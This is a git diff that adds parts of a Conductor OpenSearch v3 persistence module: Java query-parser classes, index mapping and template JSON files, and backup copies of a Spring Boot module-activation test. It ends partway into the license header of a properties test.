100644 index 0000000..ea7f00e --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ConstValue.java @@ -0,0 +1,141 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren Constant value can be: + *

      + *
    1. List of values (a,b,c) + *
    2. Range of values (m AND n) + *
    3. A value (x) + *
    4. A value is either a string or a number + *
    + */ +public class ConstValue extends AbstractNode { + + public static enum SystemConsts { + NULL("null"), + NOT_NULL("not null"); + private String value; + + SystemConsts(String value) { + this.value = value; + } + + public String value() { + return value; + } + } + + private static String QUOTE = "\""; + + private Object value; + + private SystemConsts sysConsts; + + public ConstValue(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(4); + String sp = new String(peeked).trim(); + // Read a constant value (number or a string) + if (peeked[0] == '"' || peeked[0] == '\'') { + this.value = readString(is); + } else if (sp.toLowerCase().startsWith("not")) { + this.value = SystemConsts.NOT_NULL.value(); + sysConsts = SystemConsts.NOT_NULL; + read(SystemConsts.NOT_NULL.value().length()); + } else if (sp.equalsIgnoreCase(SystemConsts.NULL.value())) { + this.value = SystemConsts.NULL.value(); + sysConsts = SystemConsts.NULL; + read(SystemConsts.NULL.value().length()); + } else { + this.value = readNumber(is); + } + } + + private String readNumber(InputStream is) throws Exception { + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + is.mark(1); + char c = (char) is.read(); + if (!isNumeric(c)) { + is.reset(); + break; + } else { + sb.append(c); + } + } + String numValue = sb.toString().trim(); + return numValue; + } + + /** + * Reads an escaped string + * + * @throws Exception + */ + private String readString(InputStream is) throws Exception { + char delim = (char) read(1)[0]; + StringBuilder sb = new StringBuilder(); + boolean valid = false; + while (is.available() > 0) { + char c = (char) is.read(); + if (c == delim) { + valid = true; + break; + } else if (c == '\\') { + // read the next character as part of the value + c = (char) is.read(); + sb.append(c); + } else { + sb.append(c); + } + } + if (!valid) { + throw new ParserException( + "String constant is not quoted with <" + delim + "> : " + sb.toString()); + } + return QUOTE + sb.toString() + QUOTE; + } + + public Object getValue() { + return value; + } + + @Override + public String toString() { + return "" + value; + } + + public String getUnquotedValue() { + String result = toString(); + if (result.length() >= 2 && result.startsWith(QUOTE) && result.endsWith(QUOTE)) { + result = result.substring(1, result.length() - 1); + } + return result; + } + + public boolean isSysConstant() { + return this.sysConsts != null; + } + + public SystemConsts getSysConstant() { + return this.sysConsts; + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/FunctionThrowingException.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/FunctionThrowingException.java new file mode 100644 index 0000000..cf9ded6 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/FunctionThrowingException.java @@ -0,0 +1,22 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +/** + * @author Viren + */ +@FunctionalInterface +public interface FunctionThrowingException { + + void accept(T t) throws Exception; +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ListConst.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ListConst.java new file mode 100644 index 0000000..2c8ba0b --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ListConst.java @@ -0,0 +1,70 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.io.InputStream; +import java.util.LinkedList; +import java.util.List; + +/** + * @author Viren List of constants + */ +public class ListConst extends AbstractNode { + + private List values; + + public ListConst(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = read(1); + assertExpected(peeked, "("); + this.values = readList(); + } + + private List readList() throws Exception { + List list = new LinkedList(); + boolean valid = false; + char c; + + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + c = (char) is.read(); + if (c == ')') { + valid = true; + break; + } else if (c == ',') { + list.add(sb.toString().trim()); + sb = new StringBuilder(); + } else { + sb.append(c); + } + } + list.add(sb.toString().trim()); + if (!valid) { + throw new ParserException("Expected ')' but never encountered in the stream"); + } + return list; + } + + public List getList() { + return (List) values; + } + + @Override + public String toString() { + return values.toString(); + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/Name.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/Name.java new file mode 100644 index 0000000..db65143 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/Name.java @@ -0,0 +1,41 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren Represents the name of the field to be searched against. + */ +public class Name extends AbstractNode { + + private String value; + + public Name(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.value = readToken(); + } + + @Override + public String toString() { + return value; + } + + public String getName() { + return value; + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ParserException.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ParserException.java new file mode 100644 index 0000000..a644571 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ParserException.java @@ -0,0 +1,28 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +/** + * @author Viren + */ +@SuppressWarnings("serial") +public class ParserException extends Exception { + + public ParserException(String message) { + super(message); + } + + public ParserException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/Range.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/Range.java new file mode 100644 index 0000000..0e2fb32 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/Range.java @@ -0,0 +1,80 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class Range extends AbstractNode { + + private String low; + + private String high; + + public Range(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.low = readNumber(is); + + skipWhitespace(); + byte[] peeked = read(3); + assertExpected(peeked, "AND"); + skipWhitespace(); + + String num = readNumber(is); + if (num == null || "".equals(num)) { + throw new ParserException("Missing the upper range value..."); + } + this.high = num; + } + + private String readNumber(InputStream is) throws Exception { + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + is.mark(1); + char c = (char) is.read(); + if (!isNumeric(c)) { + is.reset(); + break; + } else { + sb.append(c); + } + } + String numValue = sb.toString().trim(); + return numValue; + } + + /** + * @return the low + */ + public String getLow() { + return low; + } + + /** + * @return the high + */ + public String getHigh() { + return high; + } + + @Override + public String toString() { + return low + " AND " + high; + } +} diff --git a/os-persistence-v3/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/os-persistence-v3/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports new file mode 100644 index 0000000..09b8577 --- /dev/null +++ b/os-persistence-v3/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -0,0 +1 @@ +org.conductoross.conductor.os3.config.OpenSearchConfiguration diff --git a/os-persistence-v3/src/main/resources/mappings_docType_task.json b/os-persistence-v3/src/main/resources/mappings_docType_task.json new file mode 100644 index 0000000..3d102a0 --- /dev/null +++ b/os-persistence-v3/src/main/resources/mappings_docType_task.json @@ -0,0 +1,66 @@ +{ + "properties": { + "correlationId": { + "type": "keyword", + "index": true + }, + "endTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "executionTime": { + "type": "long" + }, + "input": { + "type": "text", + "index": true + }, + "output": { + "type": "text", + "index": true + }, + "queueWaitTime": { + "type": "long" + }, + "reasonForIncompletion": { + "type": "keyword", + "index": true + }, + "scheduledTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "startTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "status": { + "type": "keyword", + "index": true + }, + "taskDefName": { + "type": "keyword", + "index": true + }, + "taskId": { + "type": "keyword", + "index": true + }, + "taskType": { + "type": "keyword", + "index": true + }, + "updateTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "workflowId": { + "type": "keyword", + "index": true + }, + "workflowType": { + "type": "keyword", + "index": true + } + } +} diff --git a/os-persistence-v3/src/main/resources/mappings_docType_workflow.json b/os-persistence-v3/src/main/resources/mappings_docType_workflow.json new file mode 100644 index 0000000..c249673 --- /dev/null +++ b/os-persistence-v3/src/main/resources/mappings_docType_workflow.json @@ -0,0 +1,82 @@ +{ + "properties": { + "correlationId": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "endTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "executionTime": { + "type": "long", + "doc_values": true + }, + "failedReferenceTaskNames": { + "type": "text", + "index": false + }, + "input": { + "type": "text", + "index": true + }, + "output": { + "type": "text", + "index": true + }, + "reasonForIncompletion": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "startTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "status": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "updateTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "version": { + "type": "long", + "doc_values": true + }, + "workflowId": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "workflowType": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "rawJSON": { + "type": "text", + "index": false + }, + "event": { + "type": "keyword", + "index": true + }, + "parentWorkflowId": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "classifier": { + "type": "keyword", + "index": true, + "doc_values": true + } + } +} diff --git a/os-persistence-v3/src/main/resources/template_event.json b/os-persistence-v3/src/main/resources/template_event.json new file mode 100644 index 0000000..2b9f43f --- /dev/null +++ b/os-persistence-v3/src/main/resources/template_event.json @@ -0,0 +1,49 @@ +{ + "index_patterns": [ "*event*" ], + "priority": 2, + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "action": { + "type": "keyword", + "index": true + }, + "created": { + "type": "long" + }, + "event": { + "type": "keyword", + "index": true + }, + "id": { + "type": "keyword", + "index": true + }, + "messageId": { + "type": "keyword", + "index": true + }, + "name": { + "type": "keyword", + "index": true + }, + "output": { + "properties": { + "workflowId": { + "type": "keyword", + "index": true + } + } + }, + "status": { + "type": "keyword", + "index": true + } + } + }, + "aliases" : { } + } +} diff --git a/os-persistence-v3/src/main/resources/template_message.json b/os-persistence-v3/src/main/resources/template_message.json new file mode 100644 index 0000000..cffaf24 --- /dev/null +++ b/os-persistence-v3/src/main/resources/template_message.json @@ -0,0 +1,29 @@ +{ + "index_patterns": [ "*message*" ], + "priority": 3, + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "created": { + "type": "long" + }, + "messageId": { + "type": "keyword", + "index": true + }, + "payload": { + "type": "keyword", + "index": true + }, + "queue": { + "type": "keyword", + "index": true + } + } + }, + "aliases": { } + } +} diff --git a/os-persistence-v3/src/main/resources/template_task_log.json b/os-persistence-v3/src/main/resources/template_task_log.json new file mode 100644 index 0000000..a205657 --- /dev/null +++ b/os-persistence-v3/src/main/resources/template_task_log.json @@ -0,0 +1,24 @@ +{ + "index_patterns": [ "*task*log*" ], + "priority": 1, + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "createdTime": { + "type": "long" + }, + "log": { + "type": "text" + }, + "taskId": { + "type": "keyword", + "index": true + } + } + }, + "aliases": { } + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchModuleActivationTest.java.bak b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchModuleActivationTest.java.bak new file mode 100644 index 0000000..58ef4eb --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchModuleActivationTest.java.bak @@ -0,0 +1,274 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.config; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.NoSuchBeanDefinitionException; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.context.ApplicationContext; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.netflix.conductor.dao.IndexDAO; + +import static org.junit.Assert.*; + +/** + * Tests that verify the OpenSearch v3 module activates correctly based on conductor.indexing.type + * configuration. + */ +public class OpenSearchModuleActivationTest { + + // ========================================================================= + // Test: Module activates with correct indexing.type + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleActivatesWithOpensearch3Type.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=opensearch3", + "conductor.opensearch.url=http://localhost:9200" + }) + public static class ModuleActivatesWithOpensearch3Type { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testOpenSearchV3BeansAreCreated() { + // Verify OpenSearchProperties bean exists + assertTrue(context.containsBean("openSearchProperties")); + OpenSearchProperties props = context.getBean(OpenSearchProperties.class); + assertNotNull(props); + + // Verify it's using the correct package (os3) + assertEquals( + "org.conductoross.conductor.os3.config.OpenSearchProperties", + props.getClass().getName()); + } + + @Test + public void testIndexDAOBeanIsCreated() { + // Verify IndexDAO bean exists (this is the main bean from the module) + assertTrue( + "IndexDAO bean should exist when opensearch3 is configured", + context.containsBean("indexDAO")); + + IndexDAO indexDAO = context.getBean(IndexDAO.class); + assertNotNull(indexDAO); + + // Verify it's the v3 implementation + assertTrue( + "IndexDAO should be from os3 package", + indexDAO.getClass().getName().contains("org.conductoross.conductor.os3")); + } + } + + // ========================================================================= + // Test: Module does NOT activate with wrong indexing.type + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleDoesNotActivateWithOpensearch2Type.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=opensearch2", // Wrong type for v3 module + "conductor.opensearch.url=http://localhost:9200" + }) + public static class ModuleDoesNotActivateWithOpensearch2Type { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testOpenSearchV3BeansAreNotCreated() { + // The v3 module should NOT activate when type=opensearch2 + // Note: We can't check for absence of beans because v2 module might provide them + // This test mainly verifies the configuration doesn't cause errors + assertNotNull(context); + } + } + + // ========================================================================= + // Test: Module does NOT activate when indexing.enabled=false + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleDoesNotActivateWhenIndexingDisabled.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.enabled=false", + "conductor.indexing.type=opensearch3", + "conductor.opensearch.url=http://localhost:9200" + }) + public static class ModuleDoesNotActivateWhenIndexingDisabled { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testIndexDAOBeanIsNotCreated() { + // When indexing is disabled, IndexDAO should not be created + try { + context.getBean(IndexDAO.class); + fail("IndexDAO bean should not exist when indexing is disabled"); + } catch (NoSuchBeanDefinitionException e) { + // Expected - bean should not exist + } + } + } + + // ========================================================================= + // Test: Module does NOT activate with generic 'opensearch' type + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleDoesNotActivateWithGenericOpensearchType.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=opensearch", // Generic type (deprecated) + "conductor.opensearch.url=http://localhost:9200" + }) + public static class ModuleDoesNotActivateWithGenericOpensearchType { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testOpenSearchV3BeansAreNotCreatedForGenericType() { + // The v3 module should NOT activate for generic 'opensearch' type + // The deprecation module should handle this instead + assertNotNull(context); + + // If any OpenSearch beans exist, they should be from the deprecation module + // not from v3 + } + } + + // ========================================================================= + // Test: Default indexing.enabled=true behavior + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleActivatesWithDefaultIndexingEnabled.TestConfig.class) + @TestPropertySource( + properties = { + // indexing.enabled defaults to true (matchIfMissing=true) + "conductor.indexing.type=opensearch3", + "conductor.opensearch.url=http://localhost:9200" + }) + public static class ModuleActivatesWithDefaultIndexingEnabled { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testModuleActivatesWhenIndexingEnabledNotExplicitlySet() { + // Module should activate even when indexing.enabled is not set + // because the condition has matchIfMissing=true + assertTrue( + "IndexDAO bean should exist with default indexing.enabled=true", + context.containsBean("indexDAO")); + + IndexDAO indexDAO = context.getBean(IndexDAO.class); + assertNotNull(indexDAO); + } + } + + // ========================================================================= + // Test: Configuration properties are correctly loaded + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ConfigurationPropertiesAreLoaded.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.type=opensearch3", + "conductor.opensearch.url=http://test-server:9200", + "conductor.opensearch.version=2", + "conductor.opensearch.indexPrefix=test_prefix", + "conductor.opensearch.clusterHealthColor=yellow" + }) + public static class ConfigurationPropertiesAreLoaded { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private OpenSearchProperties properties; + + @Test + public void testPropertiesAreCorrectlyBound() { + assertNotNull(properties); + assertEquals("http://test-server:9200", properties.getUrl()); + assertEquals(2, properties.getVersion()); + assertEquals("test_prefix", properties.getIndexPrefix()); + assertEquals("yellow", properties.getClusterHealthColor()); + } + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchModuleActivationTest.java.bak2 b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchModuleActivationTest.java.bak2 new file mode 100644 index 0000000..2147be2 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchModuleActivationTest.java.bak2 @@ -0,0 +1,279 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.config; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.NoSuchBeanDefinitionException; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.context.ApplicationContext; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.netflix.conductor.dao.IndexDAO; + +import static org.junit.Assert.*; + +/** + * Tests that verify the OpenSearch v3 module activates correctly based on conductor.indexing.type + * configuration. + */ +public class OpenSearchModuleActivationTest { + + // ========================================================================= + // Test: Module activates with correct indexing.type + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleActivatesWithOpensearch3Type.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=opensearch3", + "conductor.opensearch.url=http://localhost:9200", + "conductor.opensearch.autoIndexManagement=false" + }) + public static class ModuleActivatesWithOpensearch3Type { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testOpenSearchV3BeansAreCreated() { + // Verify OpenSearchProperties bean exists + assertTrue(context.containsBean("openSearchProperties")); + OpenSearchProperties props = context.getBean(OpenSearchProperties.class); + assertNotNull(props); + + // Verify it's using the correct package (os3) + assertEquals( + "org.conductoross.conductor.os3.config.OpenSearchProperties", + props.getClass().getName()); + } + + @Test + public void testIndexDAOBeanIsCreated() { + // Verify IndexDAO bean exists (this is the main bean from the module) + assertTrue( + "IndexDAO bean should exist when opensearch3 is configured", + context.containsBean("indexDAO")); + + IndexDAO indexDAO = context.getBean(IndexDAO.class); + assertNotNull(indexDAO); + + // Verify it's the v3 implementation + assertTrue( + "IndexDAO should be from os3 package", + indexDAO.getClass().getName().contains("org.conductoross.conductor.os3")); + } + } + + // ========================================================================= + // Test: Module does NOT activate with wrong indexing.type + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleDoesNotActivateWithOpensearch2Type.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=opensearch2", // Wrong type for v3 module + "conductor.opensearch.url=http://localhost:9200", + "conductor.opensearch.autoIndexManagement=false" + }) + public static class ModuleDoesNotActivateWithOpensearch2Type { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testOpenSearchV3BeansAreNotCreated() { + // The v3 module should NOT activate when type=opensearch2 + // Note: We can't check for absence of beans because v2 module might provide them + // This test mainly verifies the configuration doesn't cause errors + assertNotNull(context); + } + } + + // ========================================================================= + // Test: Module does NOT activate when indexing.enabled=false + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleDoesNotActivateWhenIndexingDisabled.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.enabled=false", + "conductor.indexing.type=opensearch3", + "conductor.opensearch.url=http://localhost:9200", + "conductor.opensearch.autoIndexManagement=false" + }) + public static class ModuleDoesNotActivateWhenIndexingDisabled { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testIndexDAOBeanIsNotCreated() { + // When indexing is disabled, IndexDAO should not be created + try { + context.getBean(IndexDAO.class); + fail("IndexDAO bean should not exist when indexing is disabled"); + } catch (NoSuchBeanDefinitionException e) { + // Expected - bean should not exist + } + } + } + + // ========================================================================= + // Test: Module does NOT activate with generic 'opensearch' type + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleDoesNotActivateWithGenericOpensearchType.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=opensearch", // Generic type (deprecated) + "conductor.opensearch.url=http://localhost:9200", + "conductor.opensearch.autoIndexManagement=false" + }) + public static class ModuleDoesNotActivateWithGenericOpensearchType { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testOpenSearchV3BeansAreNotCreatedForGenericType() { + // The v3 module should NOT activate for generic 'opensearch' type + // The deprecation module should handle this instead + assertNotNull(context); + + // If any OpenSearch beans exist, they should be from the deprecation module + // not from v3 + } + } + + // ========================================================================= + // Test: Default indexing.enabled=true behavior + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ModuleActivatesWithDefaultIndexingEnabled.TestConfig.class) + @TestPropertySource( + properties = { + // indexing.enabled defaults to true (matchIfMissing=true) + "conductor.indexing.type=opensearch3", + "conductor.opensearch.url=http://localhost:9200", + "conductor.opensearch.autoIndexManagement=false" + }) + public static class ModuleActivatesWithDefaultIndexingEnabled { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private ApplicationContext context; + + @Test + public void testModuleActivatesWhenIndexingEnabledNotExplicitlySet() { + // Module should activate even when indexing.enabled is not set + // because the condition has matchIfMissing=true + assertTrue( + "IndexDAO bean should exist with default indexing.enabled=true", + context.containsBean("indexDAO")); + + IndexDAO indexDAO = context.getBean(IndexDAO.class); + assertNotNull(indexDAO); + } + } + + // ========================================================================= + // Test: Configuration properties are correctly loaded + // ========================================================================= + + @RunWith(SpringRunner.class) + @SpringBootTest(classes = ConfigurationPropertiesAreLoaded.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.indexing.type=opensearch3", + "conductor.opensearch.url=http://test-server:9200", + "conductor.opensearch.version=2", + "conductor.opensearch.indexPrefix=test_prefix", + "conductor.opensearch.clusterHealthColor=yellow" + }) + public static class ConfigurationPropertiesAreLoaded { + + @Configuration + @EnableAutoConfiguration + static class TestConfig { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapper(); + } + } + + @Autowired private OpenSearchProperties properties; + + @Test + public void testPropertiesAreCorrectlyBound() { + assertNotNull(properties); + assertEquals("http://test-server:9200", properties.getUrl()); + assertEquals(2, properties.getVersion()); + assertEquals("test_prefix", properties.getIndexPrefix()); + assertEquals("yellow", properties.getClusterHealthColor()); + } + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchPropertiesTest.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchPropertiesTest.java new file mode 100644 index 0000000..d3af556 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchPropertiesTest.java @@ -0,0 +1,474 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

